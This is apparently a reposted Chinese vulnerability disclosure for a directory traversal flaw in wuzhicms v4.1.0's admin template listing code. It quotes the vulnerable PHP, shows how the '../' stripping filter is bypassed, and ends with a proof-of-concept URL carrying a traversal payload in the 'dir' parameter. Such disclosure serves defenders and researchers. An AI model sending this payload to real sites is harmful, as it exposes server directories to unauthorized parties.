wuzhicms v4.1.0 /coreframe/app/template/admin/index.php 目录遍历漏洞

存在一个目录遍历漏洞，允许经过身份验证的远程攻击者列出任意目录中的文件。
/coreframe/app/template/admin/index.php 中的漏洞：

private $db;

function __construct() {

$this->db = load_class('db');

        $this->dir = isset($GLOBALS['dir']) && trim($GLOBALS['dir']) ? str_replace(array('..\', '../', './', '.\'), '', trim($GLOBALS['dir'])) : '';

        $this->dir = str_ireplace( array('%2F','//'),'/',$this->dir);

}

    public function listing() {

        $dir = $this->dir;

        $lists = glob(TPL_ROOT.$dir.'/'.'*');

        //if(!empty($lists)) rsort($lists);

        $cur_dir = str_replace(array( COREFRAME_ROOT ,DIRECTORY_SEPARATOR.DIRECTORY_SEPARATOR), array('',DIRECTORY_SEPARATOR), TPL_ROOT.$dir.'/');

        $show_dialog = 1;

        include $this->template('listing');

    }

调用str_replace()时，输入数据的变换如下：

/...../// -> /...// -> /../

POC

http://127.0.0.1/wuzhicms/www/index.php?dir=/.....///.....///.....///.....///&m=template&f=index&v=listing&_su=wuzhicms&_menuid=31

感谢您的来访，获取更多精彩文章请收藏本站。